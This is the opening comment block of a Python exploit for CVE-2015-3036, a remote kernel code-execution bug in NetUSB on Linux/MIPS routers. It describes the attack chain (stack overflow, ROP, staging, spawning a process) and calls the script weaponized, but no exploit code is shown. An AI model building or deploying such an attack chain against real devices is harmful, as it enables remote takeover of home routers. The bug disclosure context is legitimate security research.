# CVE-2015-3036 - NetUSB Remote Code Execution exploit (Linux/MIPS) 
# ===========================================================================
# This is a weaponized exploit for the NetUSB kernel vulnerability 
# discovered by SEC Consult Vulnerability Lab. [1]
# 
# I don't like lazy vendors, I've seen some DoS PoC's floating around
# for this bug.. and it's been almost five(!) months. So lets kick it up 
# a notch with an actual proof of concept that yields code exec.
#
# So anyway.. a remotely exploitable kernel vulnerability, exciting eh. ;-)
# 
# Smash stack, ROP, decode, stage, spawn userland process. woo!
#
# Currently this is weaponized for one target device (the one I own, I was
# planning on porting OpenWRT but got sidetracked by the NetUSB stuff in 
# the default firmware image, oooops. ;-D).
#
# This python script is horrible, but its not about the glue, its about
# the tech contained therein. Some things *may* be (intentionally?) botched..
# lets see if "the community" cares enough to develop this any further,
# I need to move on with life. ;-D
# 
# Shoutouts to all my boys & girls around the world, you know who you are!
#
